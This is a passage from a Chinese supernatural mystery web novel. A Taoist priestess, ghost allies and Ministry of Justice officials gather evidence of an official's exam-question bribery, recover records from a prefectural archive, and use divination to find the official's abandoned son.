至于你们家的银钱和细软,我只取自己应得的五十两香火钱。其余的用做你们的丧葬费,将你们体面下葬。 若还有结余,则暂且放在我道观内,以备将来布施给穷苦之人。你们意下如何?” 三只鬼又被感动得眼珠鼻子横流,忙不迭将藏银钱和细软之处告知徐菀。 徐菀让白虎将其找出来,之后一挥手,给了他们一道符纸:“待此案终结,杀人者被绳之以法后,你们一家人若是想投胎,可按着这符纸的引导来找我。” 三只鬼又是一阵磕头道谢,将头都磕下来了,滚得到处都是。 徐菀忙让他们收拾好自己退下吧。三只鬼这才依言恢复正常,走向墙边隐去了身影。 三只鬼离开后,马白虎掂了掂从崔家找到的一袋银钱和细软,美滋滋道: “师父的卦算得真准!今日来此果然有财缘。只不过…我们只取五十两香火钱,会不会太少了?” 朱雀白了自己财迷的弟弟一眼,“快把这些交给师父。这些银钱又不是给你的。” 白虎依言老老实实将这袋银钱向徐莞双手奉上。 徐莞接过后放入小荷包中,向白虎眨眨眼看向门外,坏笑道:“五十两是有些少。不过咱们真正的财缘,还在外面呢。” 朱雀白虎秒懂,与徐莞相视一笑。 “走吧,周大人应该已把证据挖出来了。我们该去收香火钱了。” 话毕,三人开门踏出主屋,果然望见周祎仁已将水缸搬开,在下面挖了一个大坑。 “周大人,您挖出那信封了吗?”徐莞边向他走去边问。 周祎仁喘着粗气,撂下手中的铁锨看向坑底,面上即刻绽放出欣喜的笑。 “找到了!果然有个包裹!” 他顾不得脏乱跳进坑里,将一个布满土渣子的黑布袋拿了出来。 “这里面就是信封吗?” 徐莞等人来到坑边,白虎将周祎仁从坑里拉上来。 周祎仁双手颤抖着将布袋打开,里面果真是个信封! 徐莞等人连忙将脑袋凑了过去,看向信封中封存之物。 只见其中有一张写满字的信纸,和一张五百两的银票。 第254章 254.举报信 其中有一张写满字的信纸,和一张五百两的银票。 周祎仁展开信纸看去,其上写的正是魏志鸿要求他在书院阁照顾魏庆坤,并命他与国子监官员接头,将试题藏在楼顶花盆中的细节! 随后崔巍还表示,他清楚自己干的是掉脑袋的事,弄不好自己也要被魏志鸿杀人灭口。 所以他不敢用魏志鸿的银票,并写了这封陈辞信,希望官府能看在他老实交代的份上,放过他的家人。 另外,他将这张银票也交给官府。通过银票上的票号,可以查到是何时从谁的账户中取出的。如此便能证明魏志鸿的罪行。 在陈辞信的最后,是五个崔巍鲜红的血指印,刺痛着读到这封信之人的眼睛,好似在向世人呐喊出,自己的压抑与无奈。 周祎仁读到最后,拿着这封信的双手都在微微颤抖。 一旁的徐莞看完后道:“有了这封信和这张银票,周大人可以放心了。” 周祎仁缓缓点头,“嗯,我这就将这份证据送去刑部。” 他一面说着,一面将信和银票叠好放入信封中,再贴身放入怀中。 “魏志鸿这个十恶不赦之徒,看他还如何狡辩!” 周祎仁说罢,拿着信封便想走。 徐莞忽然开口唤了他一声,“周大人…” 周祎仁立即顿住脚步,转过身向徐莞举起手掌展开五根手指,神采奕奕道: “五百两!徐观主我明白!您记在我账上,待案件破获后我统一给您啊!” 话还未说完,周祎仁已挥手走出了崔家的院子。 徐莞三人懵圈地望着他消失的方向,少倾,徐莞道:“我是想提醒他,牛眼泪还没洗掉呢…” 此时已在路上的周祎仁,眼睛都不敢睁开…… “啊啊啊啊!怎么哪哪儿都是鬼啊啊啊!” === 广袤无垠,黄土漫天的大西北。 甘州赤炎山下的嘉礼县。 十余年前的那场山火,令嘉礼县全县二百余口人,在睡梦中葬身火海。 大火整整烧了一个月才被扑灭,整个县城沦为一片焦土。 在此后的十余年间,朝廷虽为甘州拨款重建嘉礼县,但有传闻说每到夜里,嘉礼县城便会响起阵阵凄惨的呜咽与痛苦呻吟。 凡是夜间路过嘉礼县的人,皆能证实。 因而愿意搬去嘉礼县居住的百姓寥寥无几,重建的工程也拖延缓慢。 直至如今,嘉礼县还是甘州最贫困的几个县之一,既无多少建筑,又无多少人口,一派荒凉萧条之象。 汪焕清的魂魄飞到此处时,入目处便是如此之景。 一道难言的叹息,不禁从他口中溢出。 阔别自己的家乡十余年,没成想再次归乡时,家乡已不再是他记忆中的模样。 略略调整情绪后,汪焕清谨记自己此次回乡的任务,向嘉礼县县衙飞去。 此时正是夜半三更,汪焕清一路上望见不少鬼魂在街道上游荡。 它们当中有年老力衰的鬼魂,有的是一家三口,有的是母子父子,也有年轻男子与姑娘的鬼魂。 但无一例外的是,这些鬼魂身上皆有烧焦的痕迹,面容凄苦又茫然。 他们想要进一些人家享用香烛,但县城中家家户户门窗紧闭,且门窗上都贴着符纸,或挂着辟邪的法器,令他们无法进入,只得在街上游荡。 汪焕清心中唏嘘,这些鬼魂应都是死于那场山火吧,竟然与他一般,被困在此地十几载都未投胎。 不消片刻,汪焕清便飞至了嘉礼县县衙。 如今的县衙已被修缮一新。 虽说是县衙,但嘉礼县长年贫困荒芜,县衙也不过是京城小门小户的大小。仅有两栋二层小楼伫立在黑夜之下。 汪焕清飞入县衙的藏卷阁,在其中一排排放着县志和卷宗的架子间翻找。 找了半晌,终于找到了那一年的县志和卷宗。 汪焕清将其展开,仔细扫读起来。又扫读了一盏茶的功夫,才找到与魏志鸿相关的内容。 但细读之下,县志中皆是对魏志鸿的赞美之词,并未提及他在高中探花前,在嘉礼县还有过妻儿。 最终以魏志鸿被娄贲榜下捉婿,迎娶高官千金,一步步高升成为户部侍郎结尾。 读到此处,汪焕清愤恨地将此卷合上,心内气馁焦心不已。 该死的魏志鸿,难道已将这县志改过? 如今查不到他曾娶妻生子的证明,要如何回去向大师和刑部的大人们交代? 可不及他细想,几只鬼魂突然出现在他的身后。 “不识好歹的臭小子,从何而来!不知道此处是我们嘉礼县人的地盘吗!” 汪焕清忙回过神转身望去,但见前方飘着三四只周身绿光萦绕的恶鬼,正一脸肃然怒视着他。 汪焕清忙解释道:“各位兄弟,我也是嘉礼县人。十多年前前往京城赶考,被奸人所害死在了京城。今日回县是想寻一份县志,以将杀害我的凶手绳之以法。” 其中一只恶鬼上下打量了他几眼,半信半疑道:“你也是嘉礼县人?谁信呢?你身上都是陌生的气味,怕不是要来跟我们抢香火的吧!” 几只恶鬼说着,便要扑上来给他点教训。 汪焕清急忙后退喊道:“不!我不会跟你们抢香火!我真是嘉礼县人,从前就住在北玉门那边。那边有一家老薛家牛肉面特别有名,我经常光顾他们家。” 听到他说出的这几个地名,几只恶鬼这才停下动作。 其中一只道:“北玉门的薛家牛肉面我从前也常吃,确实有名。” “对,我有次去那边办事时,也吃过一次。” “哎可惜啦,我已十多年未吃过那些美味了,都快忘记是什么味了。” 此时,最初凶神恶煞的那只恶鬼再次向汪焕清问道:“你真是我们嘉礼县人?你姓什么?” “我姓汪,名焕清。” 恶鬼像是想起了什么,即刻问:“你是不是汪定安先生的儿子?” “对!汪定安就是我爹,他从前就是做教书先生。” 几只恶鬼一听,顿时恍然大悟,“哎呀原来你是汪先生的儿子。你早说啊!” 第255章 255.寻找关键证据 “哎呀原来你是汪先生的儿子。你早说啊!” “汪先生人很好,现在还在给我们的娃娃教书讲课。” “是啊是啊,汪嫂还帮我们四处找香火。他们一家真是好人。” 汪焕清听罢瞬间欣喜若狂,“几位大哥,你们的意思是,我爹娘还未投胎,还在此处?” “对!我们这就带你去见他们。” 在去找爹娘的路上,汪焕清了解到这几只鬼魂都死于嘉礼县大火,但由于种种原因未去投胎。 嘉礼县还有很多如他们一般的鬼魂,但香火却不够。 因此,在他们这几只鬼魂的带领组织下,嘉礼县的鬼魂分组去四处寻找香火。 再将香火汇集在一起,分给那些老弱病残的鬼魂,以此来维持它们继续存在于人世。 而这几只鬼魂,也会在有孤魂野鬼闯入嘉礼县时,化为恶鬼吓走它们,不让外来的鬼魂抢夺他们的香火。 因而他们方才才会突然出现要将汪焕清赶走。 不过他们也算不打不相识,如今已跟他们打成一片。 少倾,几只鬼带着汪焕清来到一处,被烧掉一半的大宅院。 夜半三更,竟有朗朗读书声从内里传来。 汪焕清迫不及待飞了进去,只见在那残垣断壁的厅堂中,一位教书先生样的鬼魂,正带领着七八个小孩鬼魂,摇头晃脑读着书。 教书先生那手持书卷,昂首挺胸游走在孩子们身边的模样,与十几年前汪父如出一辙。 “爹!”汪焕清高唤一声,忙不迭向爹飞去。 汪定安一顿,放下手中的书望去,忽见自己儿子竟飞落在自己面前。 汪定安刹那间钉在那里,双目瞪得难以置信,“焕…焕清…真是我儿吗?” 汪焕清的魂魄轻轻向他跪了下去,眼中溢出虚幻的泪水,“爹…是我啊。孩儿不孝,如今才回来看您……” 汪定安低头定睛一看,才发现回来的汪焕清,也已成了鬼魂。 “焕清你也……你不是去京城赶考了吗?中间发生了何事?你怎会也成了亡魂?” “此事说来话长,等娘回来,我向你们慢慢讲来。” 片刻后,汪母接到消息也很快赶了回来。 一家三口十几年未见,顿时喜极而泣,拥抱在一起久久不能放手。 一旁许多闻讯赶来的鬼魂们,望着这一幕亦不由得欣喜动容。 相拥良久,众人的情绪才渐渐平复下来。汪焕清将自己这十几年的遭遇,一一向众鬼魂娓娓道来。 待他讲罢,汪父也明白了汪焕清此次回家乡的目的。 “你是想查看嘉礼县的县志,寻找魏志鸿妻儿的八字?” “对!若能找到,徐大师便有可能找到他们的下落。 有他们做人证,便能证明十四年前魏志鸿与娄家勾结之事。可是……” 说到此处,汪焕清长叹一口气,“可是我方才去县衙找到那一年的县志卷宗,发现里面并未提及魏志鸿曾在嘉礼县娶妻生子的事。估计那县志已被他派人改过,不是最初的版本了。” 周围有些认得魏志鸿的鬼魂,义愤填膺。 “魏志鸿那时看起来不声不响,胆小怕事。没成想竟如此心狠手辣,简直丧尽天良!” “是啊!他到底是如何与那些大官搭上关系的,让那些大官心甘情愿一路为他保驾护航,甚至将自己女儿都嫁给他!” “如今他将自己的曾经改得完美无缺,咱们还如何找到证据扳倒他呀。” 一时间,众鬼魂陷入一片沉郁叹息中。 就在这时,汪母忽然想起了什么,向汪父道:“定安,我记得你从前被县衙传唤过,让你将县衙的旧卷册重新抄写一遍,要送去甘州州府存放。那里面会不会有关于魏志鸿的内容?” 汪父思索片刻道:“有可能。我记得那些卷册中记载了嘉礼县考中进士的名单,其中一定有魏志鸿的名字。” “那我们要不赶去甘州州府的藏卷阁找找?”汪母提议道。 汪焕清点头道:“当然要去!这是我们唯一的希望。” “好儿子,爹陪你去吧。” “我也去!”与汪焕清同住北玉门附近的那只鬼王岗道:“万一州府那边有霸占一方香火的恶鬼,或州府衙门有法力强大的门神,我们都能帮你争取时间,让你去寻找卷册。” “汪兄弟,我也陪你去!” “我们也去!” 一时间,嘉礼县身强力壮的鬼魂们一呼百应,纷纷要求跟汪焕清一起去。 望着这一幕,汪焕清不可谓不感动,向大家深深鞠躬,“感谢各位乡亲兄弟们。” 最后,汪父陪着汪焕清,还有起初与他不打不相识的王岗、赵硕等四只鬼,一同启程向甘州州府而去。 二百里的路程,作为鬼魂,一个多时辰便飞到了。 但天光已亮,阳气太盛。 他们只得先找一处阴暗之地暂且躲避,待夜幕降临,阴气升腾时,再出动去衙门。 如此又等了一日,待寅时一过,天色渐暗,几只鬼魂便悄悄向州府衙门飞了过去。 但到了衙门大门附近,几只鬼魂便不敢再上前。 只因州府衙门外伫立着两只硕大威武的石狮,还有秦琼尉迟敬德两位门神把守。 汪焕清等几只阴魂根本不是他们的对手。 王岗提议,先绕着衙门飞一圈,看看有无防守松懈之处。 若实在没有,他们四个便负责引开门神,为汪焕清父子争取时间,入内取出卷宗。 汪焕清心知这四位兄弟去引开门神,很可能会被其打得魂飞魄散。 但他们四鬼无一畏惧退缩,反而各个争先恐后,着实令他感激激动。 六只鬼随即绕着衙门飞了一圈,还真叫他们找到一处结界稍薄弱之处。 “汪兄弟,你们就从此处进去吧。我们去大门口引开门神和石狮。无论事成与否,半个时辰后我们在州府城门处汇合!”王岗道。 汪焕清父子点头答应,随后便施法扯开此处的结界。 就在他们将将碰到那结界之时,衙门大门口的两位门神便立即有了感应,大吼着向这边飞来。 “大胆阴魂!有我秦琼敬德在此,竟敢擅闯县衙!今日便让尔等魂飞魄散!” 256.当年藏卷阁里的真迹 “大胆阴魂!有我秦琼敬德在此,竟敢擅闯县衙!今日便让尔等魂飞魄散!” 王岗赵硕等四鬼闻之,急忙让汪氏父子钻入衙门。他们四鬼则朝着相反方向,与追上来的二位门神且战且退,将门神逐渐带离了此地。 进入衙门的汪氏父子,抓紧时间寻找藏卷阁与嘉礼县的卷册。终于在一炷香的功夫后,找到了汪父曾抄写过的卷册。 “找到了!” 而鬼将其展开细细读去,凭着汪父的印象,很快便找到了与当年进士相关的内容。 “在这里!”汪父指着那几行字道:“惠和四年,嘉礼县中进士者二人。汪焕清与魏志鸿是也。 魏志鸿,字卢修,甘州嘉礼县人,祥谨二十八年六月初三生。家中有老母及一妻一子...” 汪父读出的这一段,详细介绍了魏志鸿的身世,以及他家人的身世。其中正巧有他儿子的生辰八字! “有了爹!我们找到了!”汪焕清激动得热泪盈眶。 “是啊,你快把他儿子的生辰八字记下。待会儿门神回来就来不及啦。” “好!”汪焕清收起激动的情绪,将卷册中涉及到魏志鸿的内容和他儿子的生辰八字皆抄写下来,收入自己的魂芯内,而后与汪父一同从原路遛出衙门。 将将从那处破口飞出,汪焕清便见两只硕大雄壮的狮子,张着血盆大口,迎面向他们父子俩冲来。 汪焕清眼疾手快,一把将爹爹推至对面,“快躲开!” 幸好二鬼躲的及时,否则此时已被狮子一口吞没。 汪父后怕地大喘几口气,而后向汪焕清望去,但见他正被两只狮子穷追不舍。 情急之下,他干脆出其不意躺倒在地,任由两只狮子从他魂魄上踏过。 汪父登时倒抽一口气,亲眼望见儿子的魂魄被踩扁在地。 而下一秒,汪焕清的魂魄竟又挣扎着从地上立起,抖抖身子,便将自己从扁平状态恢复为了正常状态。 但那两只雄狮一个调头,再次向他追了过来。 汪焕清边往汪父身边飞,边喊道:“爹快跑!” 而在他身后,那长着锋利獠牙的大口,就快要啃到他的腿。 说时迟那时快,汪父即刻大吼一声,迎着两只雄狮飞了过去。 “嗐!你们两只畜生冲我来!我在这儿!” 汪父这一吼,立时引起了两只雄狮的注意,迅速朝上飞向它们冲了过去。 “爹!您...”汪焕清才说了两个字,便被汪父打断。 “别管他们我!你先带着证据去城门附近与王岗他们汇合!爹甩开这两只畜生稍后便到!” 汪焕清摸了摸魂芯中的证据,咬咬牙强忍着不舍飞走,但耳边还不住回荡着汪父魂魄惊恐的大喊。 须臾之间,汪焕清便来到了州府的城门处。 此时距离他们约定的半个时辰,已仅差一盏茶的功夫。但王岗赵硕等四鬼,却依然不见踪影。 汪焕清在原地又等了片刻,终于闻到了一股熟悉的气息。 “汪兄弟!我们回来了!” 不远处,几只森绿色的魂魄朝他飞了过来。汪焕清定睛一看,却只见三只,不见王岗的身影。 且其中一位鬼兄弟貌似还受了重伤,被赵硕和另一只鬼魂搀扶着。 “你们怎么样?王岗兄弟呢?”汪焕清急切问。 赵硕的魂魄也受伤不轻,魂魄上的青光忽明忽暗。听到王岗的名字,赵硕低下头神色黯然。 “王岗兄弟为了救我们,被门神的法器击中天灵盖,当场便魂飞魄散了...” 另两只鬼兄弟,也低下头暗暗抹起眼泪。 而心中最不是滋味的,当属汪焕清。 若不是他想要来州府找卷册,王岗兄弟就不会提议要随他来,更不会因为为他争取时间,而魂飞魄散。 而如今,爹爹也为了帮他殿后,到现在都未出现。 难道爹爹也遭遇了不测? 就在此时,赵硕问:“汪兄弟你爹呢?汪先生为何没与你一同出来?” “方才我们从衙门出来时,遇上了那两只石狮子。我爹为了护我先走,他独自一人留下来拖住狮子。如今不知情况如何了……” 汪焕清话毕顿了顿,心中的焦灼担忧,令他再也等不下去。 “我要回去找我爹!”汪焕清说着,将写着八字的纸交给赵硕,“赵兄弟,这张纸你拿好。 若是我回不来,你就拿着它去京城永嘉侯府找侯爷和夫人,务必将其交到他们手上。听明白了吗!” 汪焕清说罢,赵硕却一脸愤怒地望着他,“你别回去!你就是为了这证据而来。要去救汪先生也是我们去救! 你将这证据收好,我与李坤回去看看汪先生怎么样。” “可是赵兄弟你已经受伤了…” “你别管我!带着张海先走!” 就在二人拉扯相持不下时,不远处一道熟悉的浑厚嗓音传来。 “焕清!赵兄弟!我来了!咱们快走!” 汪焕清转头望去,欣喜道:“爹!” 但见汪父奋力向他们这边飞来,可左腿膝盖以下却消失无踪,空荡荡的,让他难以维持平衡,飞行时有些东倒西歪。 汪焕清迅速朝汪父飞了过去,连忙扶住他,“爹您怎么样!您的左腿……” “不碍事。”汪父说得轻描淡写,眉宇间尽是劫后余生,与找到证据的喜悦: “一条腿而已。若不是我急中生智舍了这条腿,说不定此时已入狮口,再也回不来了。” 汪父虽不在意,汪焕清心中却愧疚难当。 这时,赵硕道:“既然汪先生也回来了,那我们赶紧走吧。让汪兄弟越早将证据送回京城越好。” “好!咱们这就走。” 来时他们共有六只鬼,回时却只剩下了五只。 只要能将奸人捉拿归案,让他受到应有的报应,王岗兄弟的牺牲也不是白费。 五只鬼平安回到嘉礼县,汪焕清向乡亲们的鬼魂解释过一切后,便准备启程回京。 “爹,娘,孩儿这便要回去了。你们在此保重好自己。待此案一破,孩儿便回来与你们团聚。 若父老乡亲们愿意,我也会请求大师帮咱们转世投胎。” 汪父汪母紧紧握着他的手,眼里皆是依依不舍。 但他们明白汪焕清有更重要的事要做。分别仅是暂时的,待来日春暖花开,便是他们一家人团聚之时。 第257章 257.魏家慌了 且说回周祎仁那边。 周祎仁拿着找到的银票,先去了趟对应的票行,请票行按银票上的票号,查找此张银票是从何人的账户,在何时取出来的。 票行中的掌柜见是刑部的大人,不敢怠慢,很快便将所求信息查了出来。 经查实,这张银票确实是在上月底,从魏志鸿的账户中取出的。 周祎仁立即让掌柜写下一份证明书,最后盖上票行的印章及其本人的手印。 如此一来,便有了证明魏志鸿买卖试题的铁证! 周祎仁拿着这份证明,心中的激动溢于言表。 魏志鸿,任你狡猾多端,也有百密一疏的时候啊。 随后,周祎仁便拿着这些证据回到刑部。 方一踏进刑部大门,姜灿的呼唤便迎头响起。 “周大人您回来了!我有好消息要告诉您!” 周祎仁提起袍脚快步跑下台阶向他行去,面上亦是喜悦与迫不及待,“我也有好消息要告诉你。这回可是天大的好消息!” 二人碰头后,周祎仁道:“阿灿你先说。” 姜灿边带着他往验尸房走,边中气十足道:“文仵作那边的验尸结果出来了。他在死者的气管与肺部,发现了大量柳絮。对于患有哮喘者来说,吸入柳絮或是致命的。” “柳絮?崔管事被关在深牢大狱中,哪里来的大量柳絮?” “是啊,所以以此推断,这些柳絮应是人为制造的,就是为了杀害崔管事。” 言语间,二人已来到验尸房,仵作文斌将尸体和验尸卷宗展示给周祎仁。 “确实如此。那么这制造柳絮之人是谁?” 姜灿道:“我将昨晚看守大牢的四名狱卒一一审问过。有一名狱卒说,昨晚刑部有个人给了他一坛酒和一斤牛肉,说是大人们犒劳他们的。 他没有多想便接过了,后来便和其他三名狱卒一块喝酒吃肉,没听到崔管事的声音。” “是谁给他的酒肉?” “他说天色太黑没看清,衣着倒是大人们的打扮,将酒肉给他后便走了,所以他也没敢多问。” 周祎仁沉思片刻道:“看来咱们刑部管理还是有疏漏,竟让人钻了空子。今后定要严加管理,不能再出一点疏漏!” “是,周大人!”姜灿应了一声后,面带忧色问:“如今虽能证实崔管事是被人谋害而亡,但找不到凶手的线索。这该如何?” 这时,周祎仁不急不慢地从怀中取出在崔管事家找到的证据。 “不碍事。我已找到更为有力的证据,直接便能证明魏志鸿就是买试题之人!” 姜灿看过后大喜,“太好了!咱们这就将证据送去给尚书大人!” 此时的周正忠,还在为审不出国子监那些老油条而头疼。 如今崔管事的陈辞信与票行的证明一出,立时便能证明魏志鸿确实是从国子监处买了试题。 此消息一出,国子监被提审和软禁的官员们,皆惶恐不安,生怕下一步就要查到自己头上。 而此消息不出一日,也传到了魏志鸿与娄贲的耳里。 二人顿时如热锅上的蚂蚁,急得焦头烂额。 “混账东西!你从前行事向来严谨慎微,此次竟让他们找到如此铁证。你到底怎么回事!” 深夜子时,娄府娄贲的书房中,魏志鸿与娄婧跪伏在娄贲跟前瑟瑟发抖。 娄贲怒极之下,将桌上的砚台向他们砸了过去,吓得娄婧溢出一声尖叫。 尖叫过后,魏志鸿依旧跪在地上,诚惶诚恐道:“爹息怒!孩儿知道错了! 孩儿此次也将书院阁管事一家五口尽数除去,谁能想他竟留了这一手。 且他们全家已死,周祎仁又是如何知晓他藏起来的证据,孩儿也想不通啊。” 娄贲冷哼一声,拂袖背过身去,“哼,如今说这些甚是无用。国子监那些人怕是过不了多久就会招了。” 娄婧一听,吓得面色煞白,“这可怎么办啊!爹,您帮忙想想办法,让国子监那些人千万别说啊。” “我让国子监的人别说,他们就不会说吗?”娄贲侧过身瞪向娄婧,“你爹早已不是大学士了,如今只是个空有名号的老头。 他们答应向我卖试题,只是看在我的面子上。如今事情暴露,他们为了自保,自然不会管我们的死活。” “那…那您说话他们不听……总有人说话,他们会听的吧……”娄婧跪在地上小心翼翼说。 魏志鸿被这句话启发,忽然想到了什么,“对,有一个人的话,他们绝对会听。” 娄贲不约而同向他们望了过去,视线恰好与魏志鸿碰在一起。 “你的意思是…去求何大人?” “对。如今也只有这个办法了。” 娄贲思忖片刻,低叹一声,“哎是啊,只能去求何大人了。只是不知他愿不愿意帮我们…” === 汪焕清的魂魄,赶在那日天亮之前,终于飞回到了京城永嘉侯府。 当他将那张千辛万苦得到的八字交给慕怀瑾和徐莞时,二人皆露出欣慰振奋之色。 “太好了。真是多亏了你啊汪进士。” “大师客气了,这是汪某该做的。”汪焕清道: “此次去嘉礼县,还遇到了我爹娘的魂魄,以及许多当年死在山火中的乡亲们的魂魄。原来他们都未转世投胎。 大师,汪某可否请求您在此案结束后,送我和嘉礼县的乡亲们转世投胎?” “当然。”徐莞道:“他们早该转世投胎了。许是对人世还有什么执念。若他们愿意,我自然会帮他们转世投胎。” 少倾,慕怀瑾望着纸张上的内容道:“幸好在甘州州府内还保留着这样的证据。 今日我便将此消息带去给祎仁,让他派人去甘州州府取来这卷册,也能成为强有力的证据。” “好。那寻找魏志鸿妻儿一事,就包在我身上了。” 在清晨第一缕阳光洒入松风苑的庭院之前,徐莞将汪焕清的魂魄收进小瓷瓶中放好,抬首对朱雀白虎道: “朱雀白虎做好准备,过来跟为师学如何用八字占卜寻人。” “好嘞师父!” “大嫂!我也想跟你学!” 第258章 258.卜卦寻人 “大嫂!我也想跟你学!” 这道娇俏甜美的女声,让徐莞甚是意外。 她侧头望向将将走进松风苑的慕怀灵,“怀灵,你怎么来了?” 慕怀瑾看到她进来,也蹙眉略略不悦,“怀灵你胡闹什么,道术是你学的吗?” 慕怀灵大大方方走到徐莞身旁,对她哥扬起下巴道:“大哥,你都在偷学《道门全书》,我为何不能学?” 慕怀瑾:“……” 这死丫头怎会知道我在读《道门全书》的! 哼,净会拆她哥的台! 看到慕怀瑾吃瘪的样子,慕怀灵心中一阵得意,转身抱住徐莞的手臂撒娇道: “大嫂大嫂,你也教教我嘛,说不定我比大哥更有慧根呢~” 徐莞淡淡笑望着她,只说了三个字便让她破防,“你没有。” 慕怀灵:“???” “我没有?你是说我没有道门慧根?” “噗!哈哈哈…”徐莞还未答话,一旁的慕怀瑾便大笑了出来。 严厉冷峻如慕怀瑾,还从未如此放肆地大笑过。 但方才他实在是忍不住。 一想到怀灵起初那得瑟的样子,被徐莞三个字打懵,他就觉得很是解气好笑。 朱雀白虎也在旁侧低下头抿唇憋笑。白虎心想,终于有比我还没慧根的人啦。 趁慕怀灵还懵着,徐莞慈爱地摸摸她的发顶,“对,你还是适合与良人相恋成亲,共度余生。我有预感,你真正的正缘就快出现了。” 听罢此话,慕怀灵是又气又喜。 气的是徐莞说她没有道门慧根。喜的则是她真正的正缘就快到了。 咦等等,为何大嫂说的是“真正的正缘”? 难道宁大哥不是她真正的正缘。 但此时不是问这个问题的时候,慕怀灵见徐莞要走,连忙再次拉住她。 “哎大嫂,你不教我道术,让我见识见识你卜卦总行吧。” “好。”徐莞答应得爽快,随后便从小荷包中取出八卦罗盘开始卜卦。 她先按照魏志鸿儿子的生辰八字,在八卦罗盘上找到其对应的方位。 再随手从身侧的梨花树上,拔下几片树叶,朝地上随意一抛。 树叶随风飘落在地。众人跟着她一同望去。 但见地上一共落了七片树叶,三片为正,四片为反,正反交错。 就在众人还一头雾水之时,徐莞已看出这几片树叶暗示的卦象。 之后再结合方才用生辰八字推导出的方位,徐莞掐指一算,片刻后抬起头,神情振奋道: “算出来了!魏志鸿的长子还活着。当前正在东南方距此处五十里之处。” “这么快就算出来了!师父太厉害了!”白虎就看了个热闹,立志做徐莞最好的捧哏。 朱雀则看出了一些门道。师父方才扔出的树叶,正面朝上为阳,反面朝上则为阴。 七片树叶间阴阳交错,便构成了几个卦象。最后再结合那人的生辰八字计算,便可得出他所处的方位和远近。 只不过朱雀没有徐莞算得那么快那么准,往后还需多加练习。 而慕怀灵关心的点却在,“东南方五十里处……那不是离京城不远?就在京郊的某个地方。” “对。”徐菀转向朱雀白虎,“这寻人的任务,便交给你们了。最好在明日就能将魏志鸿的长子带回来,可好?” 朱雀白虎即刻领命,“是,师父!徒儿定当尽力完成!” “好,那你们快去吧。此次任务完成,说不定还能促成意想不到的姻缘。” 徐菀说着,最后意味深长地睨了慕怀灵一眼,便转身回到了书房。 慕怀灵回想着徐菀方才的眼神,明显是在暗示着什么。 可大嫂又在暗示什么呢? 就在这时,慕怀瑾的嗓音从旁传来,“慕怀灵,我警告你,别没事找事出去闯祸。若是我回来你未在府上,今后你就都别出门了。” 话毕,慕怀瑾利落地转身离开,准备去刑部。 慕怀灵乖乖立在原地,直到慕怀瑾的身影消失,她才长舒一口气,凑到朱雀白虎身边,俏皮地说: “喂,你们这就要出发了吗?我同你们一起去!” 朱雀未很快回应,而是面露难色,“可是小姐,侯爷刚刚才说过不让您出府。您就不怕侯爷回来...” “我才不怕呢!”慕怀灵挥着手臂浑不在意,“我大哥他就是面上凶,心里很软的。就算被他发现我不在府上,只要咱们能平安将那人带回来,他就不会追究了。 还有还有,我知道那个魏志鸿的长子大概在哪里。” “怀灵姐姐怎么会知道?”白虎好奇道。 慕怀灵见成功引起了他们的兴趣,反而傲娇地弯起嘴角,双臂环胸转过身去。 马白虎立即绕到她身前,晃着她的手臂轻哄,“怀灵姐姐你说嘛,你说嘛。” “你们若是带我一起去,我就说。”慕怀灵恨不得把下巴仰到天上去。 马白虎又转而去求自己姐姐,“姐姐,咱们就带上怀灵姐姐吧。反正五十里路,一天就能回来了。” 马朱雀当然也想尽快找到魏兄弟,但她还是有些不放心侯爷的嘱咐。 这时,慕怀灵又道:“你们不用担心我哥的话。若是他怪罪下来,我就说是我偷偷跟着你们出去的。待你们发现的时候已经晚了。” 如此一说,马朱雀总算放下心来,“好吧,那怀灵小姐跟我们出府一定不要冲动行事。若对方不愿配合,我们也不必强求。尽快回府将情况报给侯爷和师父便可。” “你们放心,他绝对不会不配合的。”慕怀灵自信满满道。 “为何?” “因为...京城东南五十里处,正是定北王从北疆带来的雪暴军的临时驻扎地。那位魏兄弟,一定就在雪暴军的军营里。” “原来如此!”白虎惊叹道:“那姐姐,咱们现在就去?” “等等!”慕怀灵制止道:“光靠我们几个去,对方不一定会答应跟我们回来。所以我们要再找两个人。” “找谁?”马朱雀忽然有种奇异的预感。 “当然是找雪暴军的先锋和副将了。” “流星和冷锋将军!” “对!由他们出面劝说魏兄弟,他一定会帮我们!” 第259章 259.一见他就变炮仗 “对!由他们出面劝说魏兄弟,魏兄弟一定愿意跟我们回来!” 慕怀灵志气满满地说完,马朱雀心里却打起了鼓。 若是她去找流星那个混蛋帮忙,流星肯定会笑话她,再趁机占便宜。 让她去找流星帮忙,还不如让她自己去找魏兄弟。 慕怀灵望见朱雀的表情,瞬间便明白她心里在想什么,凑到她身边促狭道: “怎么了朱雀?不想去找流星将军吗?” 马朱雀语气生硬,“对,我不想欠那个家伙人情。” “所以你需要我啊。”慕怀灵拍着自己胸脯保证,“我去找冷锋将军,请他们陪我们一同去。如此就不是你欠流星人情了。” 朱雀听后便心思一动,咦,这样还不错。 “那好吧,我们先去定北王府。” 三人说做便做,向管家福叔要了一辆马车,由白虎驱车前往定北王府。 今日恰好鄞玄不在府上,冷锋与流星在王府闲来无事,正在庭院中对打练习武艺。 听门房通报永嘉侯府的小姐求见,冷锋立即收起长剑,脸上的汗都没擦便要出去迎接。 “哎锋哥!我说你也不用如此着急啊。你这满头满脸的汗,不擦擦再出去?熏到那丫头怎么办?”流星在后方唤住冷锋,提醒道。 冷锋抬起手臂闻了闻身上的味道,确实汗味太重,于是立马回房,准备擦擦身子换身衣服再出去见慕怀灵。 流星望着他那急匆匆的模样,笑着连连摇头。 但一想到门房通报说,慕小姐带着一男一女来的,定是朱雀和白虎也来了。 又要见到炮仗小姐了呢。自己是不是也该去擦擦换身衣服呢? 思及此,流星也麻溜地回到自己房里忙碌起来。 男人啊,原来也是嘴上不说,但身体很诚实。 慕怀灵与朱雀白虎在定北王府前厅坐着,等了一盏茶的功夫,冷锋与流星终于一前一后快步迎了出来。 “慕小姐。”冷锋抱拳向慕怀灵行了一礼。 “冷大哥。”慕怀灵不知不觉间站起身回应。 望见冷锋这张沉稳冷峻的脸,她竟不自觉地感到一丝安心。 流星紧随其后,向慕怀灵随性一笑,“怀灵小姐今日怎的有空来定北王府?” 而后,他将视线转向一旁的朱雀与白虎,装作将将发现他们的样子,略略惊讶道:“呦,炮仗小姐也来了啊。” 朱雀用眼睛剜了他一眼,冷哼一声不理他。 流星也并未放在心上,嘿嘿一笑与冷锋一同走了过去。 几人皆落座后,慕怀灵将永嘉侯府近来发生之事简要讲给冷锋流星。 二人听后这才恍然大悟,“难怪这几日王爷经常往刑部和朝中跑,原来是为了慕侯爷和周大人一事。” 